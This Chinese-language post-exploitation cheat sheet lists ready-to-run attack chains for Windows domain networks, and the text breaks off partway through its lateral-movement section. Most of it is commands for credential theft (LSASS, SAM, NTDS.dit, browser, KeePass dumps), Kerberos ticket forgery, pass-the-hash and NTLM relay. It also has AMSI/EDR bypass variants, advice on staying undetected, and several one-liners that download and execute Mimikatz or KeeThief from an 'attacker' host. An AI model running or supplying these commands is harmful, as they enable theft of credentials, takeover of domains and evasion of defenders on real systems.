# 内网渗透 / 后渗透速查 _共 128 个结构化 payload,覆盖凭据窃取 / 横向移动 / 权限提升 / 免杀 / 域渗透 / 隧道代理 / 信息收集 / 权限维持_ ## 类别索引 | 类别 | 数量 | |---|--:| | 凭证窃取 | 20 | | 横向移动 | 16 | | 权限提升 | 15 | | 免杀与规避 | 14 | | 域渗透攻击 | 14 | | 隧道代理 | 13 | | 信息收集 | 12 | | 权限维持 | 12 | | Exchange攻击 | 5 | | ADCS攻击 | 5 | | SharePoint攻击 | 2 | ## 凭证窃取 ### Mimikatz凭证抓取 `mimikatz-creds` 使用Mimikatz抓取Windows系统凭证 子类:**Mimikatz** · tags: `mimikatz` `credentials` `windows` `lsass` **前置条件:** 需要管理员权限;需要绕过杀毒软件;Windows系统 **攻击链:** **1. 抓取所有凭证** _[windows]_ _抓取LSASS中的所有登录凭证_ ``` mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" ``` **2. 导出LSASS** _[windows]_ _从LSASS转储文件中提取凭证_ ``` mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit" ``` **3. Pass-the-Hash** _[windows]_ _使用NTLM哈希进行Pass-the-Hash攻击_ ``` mimikatz.exe "sekurlsa::pth /user:Administrator /domain:target.com /ntlm:HASH" "exit" ``` **4. DCSync攻击** _[windows]_ _模拟DC同步获取域内所有用户哈希_ ``` mimikatz.exe "lsadump::dcsync /domain:target.com /user:Administrator" "exit" ``` **5. 导出所有哈希** _[windows]_ _从LSA导出所有用户哈希_ ``` mimikatz.exe "lsadump::lsa /inject" "exit" ``` **6. 黄金票据** _[windows]_ _生成黄金票据获取域管理员权限_ ``` mimikatz.exe "kerberos::golden /domain:target.com /sid:S-1-5-21-xxx /krbtgt:HASH /user:Administrator" "exit" ``` **7. 白银票据** _[windows]_ _生成白银票据访问特定服务_ ``` mimikatz.exe "kerberos::golden /domain:target.com /sid:S-1-5-21-xxx /target:server.target.com /service:cifs /rc4:HASH /user:Administrator" "exit" ``` **EDR 绕过变体:** **1. PowerShell加载** _通过PowerShell远程加载Mimikatz_ ``` IEX (New-Object Net.WebClient).DownloadString("http://attacker/Invoke-Mimikatz.ps1"); Invoke-Mimikatz -Command "privilege::debug sekurlsa::logonpasswords" ``` **2. AMSI绕过** _禁用AMSI后加载Mimikatz_ ``` SET-ITEM -PATH "HKLM:\SOFTWARE\Microsoft\AMSI" -NAME "AllowBlocking" -VALUE 1; IEX (New-Object Net.WebClient).DownloadString("http://attacker/Invoke-Mimikatz.ps1") ``` **3. 混淆执行** _通过反射绕过AMSI_ ``` $a='[Ref].Assembly.GetType'('System.Management.Automation.AmsiUtils');$b=$a.GetField'('amsiInitFailed','NonPublic,Static');$b.SetValue($null,$true);IEX(New-Object Net.WebClient).DownloadString('http://attacker/Invoke-Mimikatz.ps1') ``` **分析:** 成功执行后可获取明文密码、NTLM哈希、Kerberos票据等凭证信息。 **OPSEC:** Mimikatz会被大多数杀软检测;使用混淆或内存加载绕过检测;优先考虑使用其他更隐蔽的工具;操作LSASS会触发EDR告警 --- ### Kerberoasting攻击 `kerberoasting` Kerberoasting攻击获取服务账户哈希 子类:**Kerberos** · tags: `kerberoasting` `kerberos` `active-directory` `spn` **前置条件:** 域环境;任意域用户凭证;域内存在SPN账户 **攻击链:** **1. 发现SPN** _[windows]_ _查询域内所有SPN_ ``` setspn -T domain.com -Q */* ``` **2. 请求服务票据** _[windows]_ _PowerShell请求Kerberos票据_ ``` Add-Type -AssemblyName System.IdentityModel; New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/webserver.target.com" ``` **3. 导出票据** _[windows]_ _使用Mimikatz导出Kerberos票据_ ``` mimikatz.exe "kerberos::list /export" "exit" ``` **4. Rubeus请求** _[windows]_ _使用Rubeus进行Kerberoasting_ ``` Rubeus.exe kerberoast /stats ``` **5. Impacket GetUserSPNs** _[linux]_ _使用Impacket获取服务票据_ ``` GetUserSPNs.py domain/user:password -dc-ip dc_ip -request ``` **6. 离线破解** _[linux]_ _使用Hashcat破解Kerberos票据_ ``` hashcat -m 13100 kerberoast.hash wordlist.txt ``` **EDR 绕过变体:** **1. RC4加密** _使用RC4加密,避免触发告警_ ``` Rubeus.exe kerberoast /rc4opsec ``` **分析:** Kerberoasting可以获取服务账户的Kerberos票据,离线破解后得到明文密码。 **OPSEC:** Kerberoasting不需要高权限;只需要任意域用户凭证;建议使用RC4加密避免检测 --- ### AS-REP Roasting `asreproasting` AS-REP Roasting攻击获取用户哈希 子类:**Kerberos** · tags: `asreproasting` `kerberos` `active-directory` **前置条件:** 域环境;域中存在禁用Pre-auth的用户 **攻击链:** **1. Rubeus攻击** _[windows]_ _使用Rubeus进行AS-REP Roasting_ ``` Rubeus.exe asreproast ``` **2. Impacket攻击** _[linux]_ _使用Impacket获取AS-REP_ ``` GetNPUsers.py domain/ -usersfile users.txt -format hashcat -outputfile hashes.txt ``` **3. 查找禁用Pre-auth用户** _[windows]_ _查找禁用Pre-auth的用户_ ``` Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth ``` **4. 破解哈希** _[linux]_ _使用Hashcat破解AS-REP哈希_ ``` hashcat -m 18200 asrep.hash wordlist.txt ``` **分析:** AS-REP Roasting可以获取禁用Pre-auth用户的哈希,离线破解后得到明文密码。 **OPSEC:** 不需要任何凭证;只需要用户名;禁用Pre-auth是错误配置 --- ### LaZagne凭证抓取 `lazagne-creds` 使用LaZagne抓取各种应用程序凭证 子类:**工具** · tags: `lazagne` `credentials` `browsers` `applications` **前置条件:** 目标机器访问权限;LaZagne工具 **攻击链:** **1. 抓取所有凭证** _[windows]_ _抓取所有支持的凭证_ ``` laZagne.exe all ``` **2. 浏览器凭证** _[windows]_ _抓取浏览器保存的密码_ ``` laZagne.exe browsers ``` **3. WiFi凭证** _[windows]_ _抓取WiFi密码_ ``` laZagne.exe wifi ``` **4. 邮件客户端** _[windows]_ _抓取邮件客户端密码_ ``` laZagne.exe mails ``` **5. 数据库凭证** _[windows]_ _抓取数据库客户端密码_ ``` laZagne.exe databases ``` **6. Linux版本** _[linux]_ _Linux版本抓取_ ``` python laZagne.py all ``` **EDR 绕过变体:** **1. 混淆执行** _Base64编码执行_ ``` python -c "exec(__import__(\"base64\").b64decode(\"BASE64_PAYLOAD\"))" ``` **分析:** LaZagne可以从浏览器、邮件客户端、数据库客户端等多种应用程序中提取保存的凭证。 **OPSEC:** LaZagne会被杀软检测;考虑使用混淆或内存加载;可以只运行特定模块 --- ### SAM数据库导出 `sam-dump` 导出Windows SAM数据库获取本地账户哈希 子类:**SAM** · tags: `sam` `hash` `windows` `local` **前置条件:** 管理员权限;Windows系统 **攻击链:** **1. reg导出** _[windows]_ _导出SAM和SYSTEM配置单元_ ``` reg save HKLM\SAM sam.hive & reg save HKLM\SYSTEM system.hive ``` **2. Impacket解析** _[linux]_ _使用Impacket解析SAM_ ``` secretsdump.py -sam sam.hive -system system.hive LOCAL ``` **3. Mimikatz导出** _[windows]_ _使用Mimikatz导出SAM_ ``` mimikatz.exe "lsadump::sam" "exit" ``` **4. Volume Shadow Copy** _[windows]_ _从卷影副本复制SAM_ ``` vssadmin create shadow /for=C: & copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\temp\sam.hive ``` **分析:** SAM数据库包含本地账户的NTLM哈希,可以用于破解或Pass-the-Hash。 **OPSEC:** 需要管理员权限;操作注册表可能触发告警;卷影副本方法更隐蔽 --- ### NTDS.dit导出 `ntds-dump` 导出Active Directory数据库获取所有域用户哈希 子类:**NTDS** · tags: `ntds` `active-directory` `hash` `domain` **前置条件:** 域管理员权限;域控制器访问权限 **攻击链:** **1. ntdsutil快照** _[windows]_ _使用ntdsutil创建IFM快照_ ``` ntdsutil "activate instance ntds" "ifm" "create full c:\temp" "quit" "quit" ``` **2. Volume Shadow Copy** _[windows]_ _从卷影副本复制NTDS.dit_ ``` vssadmin create shadow /for=C: & copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\ntds.dit ``` **3. Impacket解析** _[linux]_ _使用Impacket解析NTDS.dit_ ``` secretsdump.py -ntds ntds.dit -system system.hive LOCAL ``` **4. Impacket远程转储** _[linux]_ _远程转储域哈希_ ``` secretsdump.py domain/admin:password@dc_ip -just-dc ``` **5. Mimikatz DCSync** _[windows]_ _使用DCSync同步所有哈希_ ``` mimikatz.exe "lsadump::dcsync /domain:target.com /all" "exit" ``` **分析:** NTDS.dit包含域内所有用户的哈希,可以用于破解或Pass-the-Hash。 **OPSEC:** 需要域管理员权限;DCSync方法更隐蔽;操作可能触发大量告警 --- ### GPP密码提取 `gpp-password` 提取组策略首选项中的密码 子类:**GPP** · tags: `gpp` `group-policy` `password` `xml` **前置条件:** 域环境;任意域用户凭证 **攻击链:** **1. 查找GPP文件** _[linux]_ _查找SYSVOL中的XML文件_ ``` find /domain/sysvol -name "*.xml" 2>/dev/null ``` **2. PowerShell查找** _[windows]_ _PowerShell查找GPP文件_ ``` Get-ChildItem -Path "\\domain.com\SYSVOL" -Recurse -ErrorAction SilentlyContinue | Where-Object {$_.Name -match "\.xml$"} ``` **3. PowerView提取** _[windows]_ _使用PowerView提取GPP密码_ ``` Get-NetGPPPassword ``` **4. gpp-decrypt** _[linux]_ _解密GPP密码哈希_ ``` gpp-decrypt HASH ``` **5. Impacket提取** _[linux]_ _使用Impacket提取GPP密码_ ``` Get-GPPPassword.py domain/user:password@dc_ip ``` **分析:** GPP密码使用公开的密钥加密,可以被解密获取明文密码。 **OPSEC:** GPP密码是常见的信息泄露点;只需要普通域用户权限;MS14-025修复后新密码不会被存储 --- ### Mimikatz高级技巧 `mimikatz-advanced` Mimikatz高级凭证提取和利用技术 子类:**Mimikatz** · tags: `mimikatz` `credentials` `advanced` **前置条件:** 管理员权限;Mimikatz工具 **攻击链:** **1. DCSync攻击** _[windows]_ _模拟DC同步获取域管哈希_ ``` lsadump::dcsync /domain:domain.com /user:Administrator ``` **2. 黄金票据生成** _[windows]_ _生成黄金票据并注入_ ``` kerberos::golden /domain:domain.com /sid:S-1-5-21-xxx /krbtgt:HASH /user:Administrator /ptt ``` **3. 白银票据生成** _[windows]_ _生成白银票据访问特定服务_ ``` kerberos::golden /domain:domain.com /sid:S-1-5-21-xxx /target:server /service:cifs /rc4:HASH /user:Administrator /ptt ``` **4. Skeleton Key植入** _[windows]_ _植入万能密码mimikatz_ ``` privilege::debug misc::skeleton ``` --- ### 浏览器凭证提取 `browser-creds` 从浏览器中提取保存的密码和Cookie 子类:**浏览器** · tags: `browser` `credentials` `chrome` `firefox` **前置条件:** 用户权限;浏览器已保存密码 **攻击链:** **1. Chrome密码提取** _[windows]_ _复制Chrome登录数据库_ ``` Get-ChildItem -Path "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data" | Copy-Item -Destination "C:\temp\Login Data" ``` **2. Chrome Cookie提取** _[windows]_ _复制Chrome Cookie数据库_ ``` Get-ChildItem -Path "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Cookies" | Copy-Item -Destination "C:\temp\Cookies" ``` **3. 使用SharpWeb** _[windows]_ _使用SharpWeb提取浏览器凭证_ ``` SharpWeb.exe --browser chrome ``` **4. 使用HackBrowserData** _提取Chrome所有数据_ ``` hack-browser-data.exe -b chrome ``` --- ### DPAPI凭证提取 `dpapi-creds` 从DPAPI保护存储中提取凭证 子类:**DPAPI** · tags: `dpapi` `credentials` `windows` **前置条件:** 用户权限;DPAPI master key **攻击链:** **1. 枚举DPAPI凭据** _[windows]_ _查找DPAPI保护的凭据文件_ ``` Get-ChildItem -Path "$env:APPDATA\Microsoft\Credentials" -Force ``` **2. 使用Mimikatz解密** _[windows]_ _解密DPAPI凭据_ ``` dpapi::cred /in:C:\Users\user\AppData\Roaming\Microsoft\Credentials\XXX ``` **3. 获取Master Key** _[windows]_ _从内存获取DPAPI master key_ ``` sekurlsa::dpapi ``` --- ### RDP凭证提取 `rdp-creds` 提取保存的RDP连接密码 子类:**RDP** · tags: `rdp` `credentials` `windows` **前置条件:** 用户权限;已保存RDP密码 **攻击链:** **1. 查找RDP文件** _[windows]_ _查找RDP连接文件_ ``` Get-ChildItem -Path "$env:USERPROFILE\Documents\*.rdp" -Recurse ``` **2. 提取RDP密码** _[windows]_ _列出保存的凭据_ ``` cmdkey /list ``` **3. 使用Mimikatz** _[windows]_ _解密RDP保存的密码_ ``` dpapi::cred /in:C:\Users\user\AppData\Local\Microsoft\Credentials\XXX ``` --- ### WiFi凭证提取 `wifi-creds` 提取保存的WiFi密码 子类:**WiFi** · tags: `wifi` `credentials` `windows` **前置条件:** 管理员权限;已连接WiFi **攻击链:** **1. 列出WiFi配置文件** _[windows]_ _显示所有WiFi配置文件_ ``` netsh wlan show profiles ``` **2. 提取WiFi密码** _[windows]_ _显示WiFi密码_ ``` netsh wlan show profile name="WiFi_Name" key=clear ``` --- ### Windows Vault凭证 `vault-creds` 从Windows凭据管理器提取凭证 子类:**Vault** · tags: `vault` `credentials` `windows` **前置条件:** 用户权限;已保存凭据 **攻击链:** **1. 列出Vault凭据** _[windows]_ _列出所有Vault_ ``` vaultcmd /list ``` **2. 导出Vault凭据** _[windows]_ _列出Windows凭据_ ``` vaultcmd /listcreds:"Windows Credentials" /all ``` **3. 使用Mimikatz** _[windows]_ _从内存提取凭据管理器密码_ ``` sekurlsa::credman ``` --- ### KeePass凭证提取 `keepass-dump` 从KeePass数据库提取密码 子类:**KeePass** · tags: `keepass` `credentials` `password-manager` **前置条件:** KeePass数据库文件;主密码或内存转储 **攻击链:** **1. 查找KeePass数据库** _[windows]_ _搜索KeePass数据库文件_ ``` Get-ChildItem -Path C:\ -Filter "*.kdbx" -Recurse -ErrorAction SilentlyContinue ``` **2. 内存提取主密码** _[windows]_ _从KeePass进程内存提取_ ``` 使用KeePassDump或KeeThief从内存提取主密码 ``` **3. 使用KeeThief** _[windows]_ _PowerShell提取KeePass密码_ ``` powershell -exec bypass -c "IEX(New-Object Net.WebClient).downloadString('http://attacker/KeeThief.ps1'); Get-KeePassPw ``` --- ### LSA Secrets提取 `lsa-secrets` 从LSA Secrets提取敏感数据 子类:**LSA** · tags: `lsa` `secrets` `windows` **前置条件:** SYSTEM权限 **攻击链:** **1. 使用Mimikatz** _[windows]_ _提取LSA Secrets_ ``` lsadump::secrets ``` **2. 使用reg save** _[windows]_ _导出注册表hive离线分析_ ``` reg save HKLM\SECURITY security.hive reg save HKLM\SYSTEM system.hive ``` **3. 使用Impacket** _[linux]_ _离线提取LSA Secrets_ ``` secretsdump.py -security security.hive -system system.hive LOCAL ``` --- ### 缓存凭证提取 `cached-creds` 提取域缓存凭证 子类:**缓存** · tags: `cached` `credentials` `domain` **前置条件:** SYSTEM权限;域环境 **攻击链:** **1. 使用Mimikatz** _[windows]_ _提取缓存域凭证_ ``` lsadump::cache ``` **2. 使用reg save** _[windows]_ _导出SECURITY hive_ ``` reg save HKLM\SECURITY security.hive ``` **3. 离线破解** _[linux]_ _缓存凭证可离线破解_ ``` 使用hashcat破解缓存的域凭证 ``` --- ### DCSync攻击 `dcsync-attack` 模拟域控制器同步获取凭证 子类:**域渗透** · tags: `dcsync` `domain-controller` `mimikatz` **前置条件:** 域管理员权限或特定权限 **攻击链:** **1. 使用Mimikatz** _[windows]_ _使用Mimikatz执行DCSync_ ``` mimikatz # lsadump::dcsync /domain:domain.com /user:Administrator ``` **2. 使用impacket** _[linux]_ _使用impacket执行DCSync_ ``` python secretsdump.py -just-dc-user Administrator domain.com/user:password@dc_ip ``` **3. 导出所有哈希** _[windows]_ _导出域内所有用户哈希_ ``` mimikatz # lsadump::dcsync /domain:domain.com /all /csv ``` **4. 权限要求** _DCSync所需权限_ ``` 需要以下权限之一: - Domain Admin - Enterprise Admin - 复制目录更改权限 ``` --- ### 黄金票据攻击 `golden-ticket` 使用krbtgt哈希生成黄金票据 子类:**域持久化** · tags: `golden-ticket` `krbtgt` `kerberos` **前置条件:** krbtgt账户哈希;域SID **攻击链:** **1. 获取krbtgt哈希** _[windows]_ _获取krbtgt账户哈希_ ``` mimikatz # lsadump::lsa /inject /name:krbtgt ``` **2. 获取域SID** _[windows]_ _获取域SID_ ``` whoami /user 或: wmic useraccount get sid ``` **3. 生成黄金票据** _[windows]_ _生成并注入黄金票据_ ``` mimikatz # kerberos::golden /user:Administrator /domain:domain.com /sid:S-1-5-21-xxx /krbtgt:HASH /ptt ``` **4. 验证票据** _[windows]_ _验证黄金票据是否有效_ ``` klist 或: dir \\dc.domain.com\c$ ``` --- ### 白银票据攻击 `silver-ticket` 使用服务账户哈希生成白银票据 子类:**域持久化** · tags: `silver-ticket` `kerberos` `service` **前置条件:** 服务账户哈希;域SID **攻击链:** **1. 获取服务哈希** _[windows]_ _获取服务账户哈希_ ``` mimikatz # sekurlsa::logonpasswords 寻找服务账户NTLM哈希 ``` **2. 生成白银票据** _[windows]_ _生成针对特定服务的票据_ ``` mimikatz # kerberos::golden /user:Administrator /domain:domain.com /sid:S-1-5-21-xxx /target:server.domain.com /service:cifs /rc4:HASH /ptt ``` **3. 常见服务类型** _可伪造的服务类型_ ``` CIFS - 文件共享 HTTP - Web服务 LDAP - 目录服务 MSSQLSvc - SQL服务 HOST - 远程管理 ``` --- ### 无人值守安装凭证提取 `unattended-creds` 从Windows无人值守安装文件(Unattend.xml/Sysprep)中提取明文或Base64编码的管理员凭证 子类:**文件凭证** · tags: `credentials` `unattend` `sysprep` `privilege-escalation` `windows` **前置条件:** 本地文件系统读取权限;目标使用过无人值守部署 **攻击链:** **1. 搜索无人值守安装文件** _[windows]_ _在默认路径搜索Unattend/Sysprep配置文件,这些文件在Windows自动部署后可能残留在系统中_ ``` dir /s /b C:\Windows\Panther\Unattend.xml C:\Windows\Panther\unattended.xml C:\Windows\Panther\Autounattend.xml C:\Windows\System32\Sysprep\sysprep.xml C:\Windows\System32\Sysprep\unattend.xml 2>nul ``` **2. 全盘搜索Unattend文件** _[windows]_ _当默认路径找不到时,全盘递归搜索所有可能的无人值守文件_ ``` # CMD方式 dir /s /b C:\*unattend*.xml C:\*sysprep*.xml 2>nul # PowerShell方式 Get-ChildItem -Path C:\ -Recurse -Include "*unattend*","*sysprep*","*autounattend*" -ErrorAction SilentlyContinue | Select-Object FullName ``` **3. 提取明文密码** _[windows]_ _从Unattend.xml中提取密码字段,密码可能以明文或Base64编码形式存储在//节点中_ ``` # 查看文件内容 type C:\Windows\Panther\Unattend.xml # 关键字段搜索 findstr /i /c:"Password" /c:"AutoLogon" /c:"AdminPassword" C:\Windows\Panther\Unattend.xml # PowerShell提取 [xml]$xml = Get-Content C:\Windows\Panther\Unattend.xml $xml.unattend.settings.component | Where-Object { $_.AutoLogon } | ForEach-Object { $_.AutoLogon.Password.Value } ``` **4. 解码Base64密码** _[windows]_ _Unattend.xml中的密码如果以Base64编码存储,需要解码。Windows使用UTF-16LE编码,因此必须用Unicode解码而非ASCII_ ``` # PowerShell解码Base64 $encoded = "QQBkAG0AaQBuAEAAMQAyADMA" # 从XML提取的编码值 [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($encoded)) # 或者使用certutil echo QQBkAG0AaQBuAEAAMQAyADMA > C:\temp\encoded.txt certutil -decode C:\temp\encoded.txt C:\temp\decoded.txt type C:\temp\decoded.txt ``` **5. 检查其他敏感安装文件** _[windows]_ _除Unattend.xml外,其他位置也可能存储明文凭证_ ``` # 检查GPP(Group Policy Preferences)密码 findstr /S /I cpassword \\domain.com\sysvol\domain.com\policies\*.xml 2>nul # 检查IIS配置文件 type C:\inetpub\wwwroot\web.config 2>nul | findstr /i "connectionString password" # 检查VNC密码文件 reg query "HKCU\Software\ORL\WinVNC3\Password" 2>nul reg query "HKLM\SOFTWARE\RealVNC\WinVNC4" /v Password 2>nul # 检查WiFi密码 netsh wlan show profiles netsh wlan show profile name="目标WiFi" key=clear ``` **6. 使用Metasploit自动化** _[windows]_ _使用Metasploit后渗透模块自动搜索和提取无人值守安装文件中的凭证_ ``` # Metasploit模块 use post/windows/gather/enum_unattend set SESSION 1 run # 也可以使用 use post/multi/gather/firefox_creds use post/windows/gather/credentials/gpp use post/windows/gather/cachedump ``` **EDR 绕过变体:** **1. 绕过文件访问监控** _[windows]_ _通过卷影副本或流式读取绕过文件访问监控_ ``` # 使用Volume Shadow Copy读取被锁定的文件 vssadmin create shadow /for=C: copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\Panther\Unattend.xml C:\temp\u.xml # 使用PowerShell流式读取避免文件锁 [IO.File]::ReadAllText("C:\Windows\Panther\Unattend.xml") ``` **分析:** 无人值守安装文件是Windows大规模部署的产物。这些XML文件中的/节点可能包含本地管理员或域管理员的明文/编码凭证。该漏洞在企业环境中极为常见,因为IT部门经常忽略部署后清理这些文件。 **OPSEC:** 读取文件操作通常不会触发警报,但大量文件搜索(dir /s)可能被EDR检测。建议直接检查已知路径而非全盘搜索。 --- ## 横向移动 ### PsExec横向移动 `lateral-psexec` 使用PsExec进行横向移动 子类:**SMB** · tags: `psexec` `lateral` `smb` `windows` **前置条件:** 目标机器开放445端口;拥有目标机器管理员凭证;ADMIN$共享可访问 **攻击链:** **1. 基本使用** _[linux]_ _使用Impacket的psexec.py连接目标_ ``` psexec.py domain/user:password@target_ip ``` **2. 使用哈希连接** _[linux]_ _使用NTLM哈希进行Pass-the-Hash_ ``` psexec.py -hashes :NTLM_HASH domain/user@target_ip ``` **3. 执行命令** _[linux]_ _在目标机器执行命令_ ``` psexec.py domain/user:password@target_ip "whoami" ``` **4. Windows PsExec** _[windows]_ _使用Sysinternals PsExec_ ``` PsExec.exe \\target_ip -u domain\user -p password cmd.exe ``` **EDR 绕过变体:** **1. 自定义服务名** _使用自定义服务名避免检测_ ``` psexec.py -service-name CustomService domain/user:password@target_ip ``` **2. SMBExec替代** _使用smbexec.py,不写入磁盘_ ``` smbexec.py domain/user:password@target_ip ``` **分析:** PsExec通过SMB协议在目标机器创建服务并执行命令,成功后可获得目标机器的Shell。 **OPSEC:** PsExec会在目标机器创建服务,容易被检测;服务名称和二进制文件可能触发告警;考虑使用更隐蔽的横向移动方式 --- ### WMI横向移动 `lateral-wmi` 使用WMI进行横向移动 子类:**WMI** · tags: `wmi` `lateral` `windows` `remote` **前置条件:** 目标机器开放135端口;拥有目标机器管理员凭证;WMI服务可访问 **攻击链:** **1. WMI执行命令** _[windows]_ _使用WMIC远程执行命令_ ``` wmic /node:target_ip /user:domain\user /password:pass process call create "cmd.exe /c whoami" ``` **2. Impacket wmiexec** _[linux]_ _使用Impacket的wmiexec.py_ ``` wmiexec.py domain/user:password@target_ip ``` **3. 使用哈希** _[linux]_ _Pass-the-Hash通过WMI_ ``` wmiexec.py -hashes :NTLM_HASH domain/user@target_ip ``` **4. PowerShell WMI** _[windows]_ _使用PowerShell WMI_ ``` Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami" -ComputerName target_ip -Credential $cred ``` **EDR 绕过变体:** **1. WMI事件订阅** _通过WMI安装MSI包执行代码_ ``` wmic /node:target_ip /user:domain\user /password:pass path win32_product call install /package:"\\attacker\share\malware.msi" ``` **分析:** WMI横向移动不会在目标机器创建服务,相对PsExec更隐蔽。 **OPSEC:** WMI执行不会留下明显的文件痕迹;但WMI活动可能被监控;命令输出通过临时文件获取 --- ### Pass-the-Hash攻击 `pass-the-hash` 使用NTLM哈希进行身份验证 子类:**认证攻击** · tags: `pth` `ntlm` `hash` `authentication` **前置条件:** 获取用户NTLM哈希;目标机器允许NTLM认证;目标机器开放SMB/WMI端口 **攻击链:** **1. Impacket PtH** _[linux]_ _使用Impacket进行PtH_ ``` psexec.py -hashes :NTHASH domain/user@target_ip ``` **2. CrackMapExec PtH** _[linux]_ _使用CrackMapExec进行PtH_ ``` crackmapexec smb target_ip -u user -H NTHASH -d domain ``` **3. Windows PtH** _[windows]_ _使用Mimikatz进行PtH_ ``` sekurlsa::pth /user:Administrator /domain:target.com /ntlm:NTHASH ``` **4. PowerShell PtH** _[windows]_ _使用PowerShell进行PtH_ ``` Invoke-SMBClient -Domain domain -User user -Hash NTHASH -Target target_ip ``` **EDR 绕过变体:** **1. Overpass-the-Hash** _将哈希转换为Kerberos票据_ ``` sekurlsa::pth /user:Administrator /domain:target.com /ntlm:NTHASH /run:cmd.exe ``` **分析:** PtH成功后可以该用户身份访问目标机器,无需明文密码。 **OPSEC:** PtH不会产生登录日志中的密码验证;但会留下网络登录日志;注意时间戳和来源IP --- ### NTLM Relay攻击 `ntlm-relay` NTLM中继攻击技术 子类:**认证攻击** · tags: `ntlm` `relay` `smb` `authentication` **前置条件:** 目标机器开放SMB端口;目标机器未启用SMB签名;可诱导目标机器认证 **攻击链:** **1. Responder监听** _[linux]_ _启动Responder监听NTLM认证_ ``` responder -I eth0 -wrf ``` **2. ntlmrelayx攻击** _[linux]_ _使用ntlmrelayx进行中继攻击_ ``` ntlmrelayx.py -tf targets.txt -smb2support ``` **3. 中继到LDAP** _[linux]_ _中继到LDAP进行权限提升_ ``` ntlmrelayx.py -t ldap://dc_ip -smb2support --escalate-user user ``` **4. IPv6中继** _[linux]_ _使用IPv6进行NTLM中继_ ``` mitm6 -d domain.com & ntlmrelayx.py -t ldap://dc_ip -wh attacker_ip ``` **EDR 绕过变体:** **1. Drop the MIC** _移除MIC标志绕过签名验证_ ``` ntlmrelayx.py -t smb://target --remove-mic ``` **分析:** NTLM Relay成功后可以获取目标机器的访问权限或提升域权限。 **OPSEC:** 需要目标机器未启用SMB签名;域控制器默认启用签名;IPv6中继更隐蔽 --- ### WinRM横向移动 `lateral-winrm` 通过WinRM进行横向移动 子类:**WinRM** · tags: `winrm` `lateral` `powershell` **前置条件:** WinRM启用;有效凭证 **攻击链:** **1. PowerShell远程** _[windows]_ _PowerShell远程会话_ ``` Enter-PSSession -ComputerName target -Credential $cred ``` **2. 执行命令** _[windows]_ _远程执行命令_ ``` Invoke-Command -ComputerName target -ScriptBlock { whoami } -Credential $cred ``` **3. evil-winrm** _[linux]_ _使用evil-winrm连接_ ``` evil-winrm -i target -u user -p password ``` --- ### DCOM横向移动 `lateral-dcom` 通过DCOM进行横向移动 子类:**DCOM** · tags: `dcom` `lateral` `com` **前置条件:** DCOM启用;有效凭证 **攻击链:** **1. MMC20.Application** _[windows]_ _通过MMC DCOM执行命令_ ``` $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","target")) $com.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c whoami","7") ``` **2. ShellBrowserWindow** _[windows]_ _通过ShellBrowserWindow执行_ ``` $com = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","target")) $com.Document.Application.ShellExecute("cmd.exe","/c whoami","c:\windows\system32",$null,0) ``` **3. Excel DCOM** _[windows]_ _通过Excel DCOM执行_ ``` $com = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application","target")) $com.DisplayAlerts = $false $com.DDEInitiate("cmd","/c calc.exe") ``` --- ### SSH横向移动 `lateral-ssh` 通过SSH进行横向移动 子类:**SSH** · tags: `ssh` `lateral` `linux` **前置条件:** SSH服务;有效凭证 **攻击链:** **1. SSH连接** _[linux]_ _基础SSH连接_ ``` ssh user@target ``` **2. SSH密钥认证** _[linux]_ _使用私钥连接_ ``` ssh -i private_key user@target ``` **3. SSH跳板** _[linux]_ _通过跳板机连接_ ``` ssh -J jump_host user@target ``` --- ### RDP会话劫持 `rdp-hijack` 劫持已存在的RDP会话 子类:**RDP** · tags: `rdp` `hijack` `session` **前置条件:** SYSTEM权限;存在RDP会话 **攻击链:** **1. 列出会话** _[windows]_ _列出所有用户会话_ ``` query user ``` **2. 劫持会话** _[windows]_ _劫持指定会话_ ``` tscon SESSION_ID /dest:console ``` **3. 使用Mimikatz** _[windows]_ _使用Mimikatz劫持_ ``` ts::sessions ts::remote /id:SESSION_ID ``` --- ### Overpass-the-Hash `overpass-the-hash` 使用哈希获取Kerberos票据 子类:**PtH** · tags: `pth` `kerberos` `hash` **前置条件:** 用户NTLM哈希;域环境 **攻击链:** **1. Mimikatz** _[windows]_ _使用哈希获取Kerberos票据_ ``` sekurlsa::pth /user:Administrator /domain:domain.com /ntlm:HASH /ptt ``` **2. Rubeus** _[windows]_ _使用Rubeus获取票据_ ``` Rubeus.exe asktgt /user:Administrator /domain:domain.com /rc4:HASH /ptt ``` **3. Impacket** _[linux]_ _获取Kerberos票据_ ``` getTGT.py domain.com/user -hashes :HASH ``` --- ### Pass-the-Ticket `pass-the-ticket` 使用Kerberos票据进行横向移动 子类:**PtT** · tags: `ptt` `kerberos` `ticket` **前置条件:** 有效Kerberos票据 **攻击链:** **1. 导出票据** _[windows]_ _从内存导出Kerberos票据_ ``` sekurlsa::tickets /export ``` **2. 注入票据** _[windows]_ _注入票据到当前会话_ ``` kerberos::ptt ticket.kirbi ``` **3. Rubeus导入** _[windows]_ _使用Rubeus注入票据_ ``` Rubeus.exe ptt /ticket:base64ticket ``` --- ### SMBExec横向移动 `lateral-smbexec` 通过SMB执行命令 子类:**SMB** · tags: `smb` `lateral` `exec` **前置条件:** SMB访问权限;管理员权限 **攻击链:** **1. Impacket smbexec** _[linux]_ _使用smbexec执行命令_ ``` smbexec.py domain/user:password@target ``` **2. 通过服务执行** _[windows]_ _创建并启动服务_ ``` sc \\target create evilsvc binPath= "cmd /c whoami" sc \\target start evilsvc sc \\target delete evilsvc ``` --- ### ATExec横向移动 `lateral-atexec` 通过计划任务执行命令 子类:**计划任务** · tags: `at` `scheduled` `lateral` 